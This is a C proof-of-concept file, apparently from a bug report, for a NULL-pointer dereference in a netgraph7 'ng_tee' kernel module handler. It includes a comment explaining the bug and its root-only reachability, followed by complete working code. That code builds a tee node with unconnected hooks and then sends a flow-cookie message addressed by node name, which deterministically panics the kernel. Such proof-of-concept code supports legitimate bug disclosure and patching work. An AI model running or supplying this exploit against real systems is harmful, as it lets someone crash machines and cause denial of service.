DF-0727 / ng_tee_flow_nullderef.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 | /* * DF-0727 - NULL-pointer dereference in ng_tee NGM_FLOW_COOKIE handler. * * Bug: sys/netgraph7/tee/ng_tee.c:263-264 * case NGM_FLOW_COOKIE: * if (lasthook == sc->left.hook || lasthook == sc->right.hook) { * hi_p const hinfo = NG_HOOK_PRIVATE(lasthook); // NULL deref! * * When an NGM_FLOW_COOKIE message is addressed *by node name* (no hook * segment in the path), ng_address_path() leaves the item hook NULL * (ng_base.c:1819-1820 -> *lasthook=NULL when path has no hook segment). * If the tee node's `left` and `right` hooks were never connected, * sc->left.hook==NULL and sc->right.hook==NULL, so NULL==NULL is TRUE * and NG_HOOK_PRIVATE(NULL) -> NULL->hk_private panics. * * Reachability: requires an AF_NETGRAPH control socket * (caps_priv_check SYSCAP_RESTRICTEDROOT, ng_socket.c:182) -> root only. * Requires the NETGRAPH7 modules (netgraph.ko + ng_socket.ko + ng_tee.ko * built from sys/netgraph7/) to be loaded instead of the legacy netgraph. * Impact: deterministic kernel panic (local DoS, root -> kernel). * * This PoC uses raw sendto(2) with the netgraph7 struct ng_mesg layout * (NG_VERSION=8, 56-byte header) so it does NOT depend on the legacy * libnetgraph.so (which uses NG_VERSION=2 / 52-byte old format). * * Build: cc -o ng_tee_flow_nullderef ng_tee_flow_nullderef.c * Run: ./ng_tee_flow_nullderef (must be root) */ #include <sys/types.h> #include <sys/socket.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> /* ---- netgraph7 definitions (mirrors sys/netgraph7/ng_message.h) ---- */ #define NG_VERSION 8 #define NGM_GENERIC_COOKIE 1137070366U #define NGM_FLOW_COOKIE 851672669U #define NGM_MKPEER 2 #define NGM_NAME 4 #define NGM_LINK_IS_DOWN 33 #define NG_TYPESIZ 32 #define NG_HOOKSIZ 32 #define NG_NODESIZ 32 #define NG_CMDSTRSIZ 32 #define NG_CONTROL 2 #define AF_NETGRAPH 32 /* netgraph7 struct ng_msghdr (56 bytes total) */ struct ng_msghdr { u_int8_t version; /* offset 0 */ u_int8_t spare; /* offset 1 */ u_int16_t spare2; /* offset 2 */ u_int32_t arglen; /* offset 4 */ u_int32_t cmd; /* offset 8 */ u_int32_t flags; /* offset 12 */ u_int32_t token; /* offset 16 */ u_int32_t typecookie; /* offset 20 */ u_int8_t cmdstr[NG_CMDSTRSIZ]; /* offset 24 */ }; struct ng_mesg { struct ng_msghdr header; char data[]; }; struct ngm_mkpeer { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; }; struct ngm_name { char name[NG_NODESIZ]; }; /* netgraph7 struct sockaddr_ng (sa_family_t is __uint8_t = 1 byte) */ struct sockaddr_ng { u_int8_t sg_len; /* 1 byte */ u_int8_t sg_family; /* 1 byte */ char sg_data[128]; /* variable */ }; #define NGSA_OVERHEAD 2 /* offsetof(sockaddr_ng, sg_data) */ static int g_token = 1; static int ng_send(int s, const char *path, u_int32_t cookie, u_int32_t cmd, const void *data, size_t datalen) { size_t msglen = sizeof(struct ng_mesg) + datalen; struct ng_mesg *msg = calloc(1, msglen); if (msg == NULL) { perror("calloc"); return -1; } msg->header.version = NG_VERSION; msg->header.arglen = (u_int32_t)datalen; msg->header.cmd = cmd; msg->header.flags = 0; /* NGF_ORIG */ msg->header.token = g_token++; msg->header.typecookie = cookie; if (datalen) memcpy(msg->data, data, datalen); struct sockaddr_ng addr; memset(&addr, 0, sizeof(addr)); addr.sg_family = (u_int8_t)AF_NETGRAPH; strlcpy(addr.sg_data, path, sizeof(addr.sg_data)); addr.sg_len = (u_int8_t)(strlen(addr.sg_data) + 1 + NGSA_OVERHEAD); ssize_t n = sendto(s, msg, msglen, 0, (struct sockaddr *)&addr, (socklen_t)addr.sg_len); int saved_errno = errno; free(msg); if (n < 0) { errno = saved_errno; perror("sendto"); return -1; } return 0; } static size_t strlcpy_ng(char *dst, const char *src, size_t siz) { size_t n = strlen(src); if (siz > 0) { size_t cpy = (n < siz - 1) ? n : siz - 1; memcpy(dst, src, cpy); dst[cpy] = '\0'; } return n; } int main(int argc, char **argv) { int s; s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (s < 0) { perror("socket(AF_NETGRAPH, NG_CONTROL) [needs root]"); fprintf(stderr, "NOTE: AF_NETGRAPH control socket requires root " "(caps_priv_check SYSCAP_RESTRICTEDROOT, ng_socket.c:182).\n"); return 2; } printf("[+] opened AF_NETGRAPH control socket (fd=%d)\n", s); /* 1. mkpeer a tee node: my hook "left2right" <-> tee "left2right". * left/right hooks NEVER connected -> sc->left.hook==NULL, * sc->right.hook==NULL. */ struct ngm_mkpeer mkp; memset(&mkp, 0, sizeof(mkp)); strlcpy_ng(mkp.type, "tee", NG_TYPESIZ); strlcpy_ng(mkp.ourhook, "left2right", NG_HOOKSIZ); strlcpy_ng(mkp.peerhook, "left2right", NG_HOOKSIZ); if (ng_send(s, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) { fprintf(stderr, "[-] mkpeer failed\n"); return 1; } printf("[+] mkpeer tee left2right<->left2right (left/right hooks NOT connected)\n"); /* 2. Name the tee node "tee0" (reachable via my hook "left2right"). */ struct ngm_name nm; memset(&nm, 0, sizeof(nm)); strlcpy_ng(nm.name, "tee0", NG_NODESIZ); if (ng_send(s, "left2right", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0) { fprintf(stderr, "[-] name failed\n"); return 1; } printf("[+] named the tee node 'tee0'\n"); /* 3. Send NGM_FLOW_COOKIE addressed by node NAME ONLY ("tee0:", trailing * colon, no hook segment) -> ng_address_path leaves lasthook=NULL. * ng_tee_rcvmsg: if (NULL==sc->left.hook || NULL==sc->right.hook) * -> TRUE, then NG_HOOK_PRIVATE(NULL) -> PANIC. */ printf("[+] sending NGM_FLOW_COOKIE to 'tee0:' (addressed by name => lasthook=NULL)\n"); printf("[+] EXPECT: kernel panic / fatal trap 12 (page fault) in ng_tee_rcvmsg\n"); fflush(stdout); if (ng_send(s, "tee0:", NGM_FLOW_COOKIE, NGM_LINK_IS_DOWN, NULL, 0) < 0) { fprintf(stderr, "[-] flow send failed (kernel may already be panicking)\n"); return 1; } /* If we reach here, the bug did NOT fire (patched kernel or left/right * hooks happened to be non-NULL). */ printf("[?] sendto returned without panic -> bug NOT triggered on this kernel\n"); close(s); return 0; } |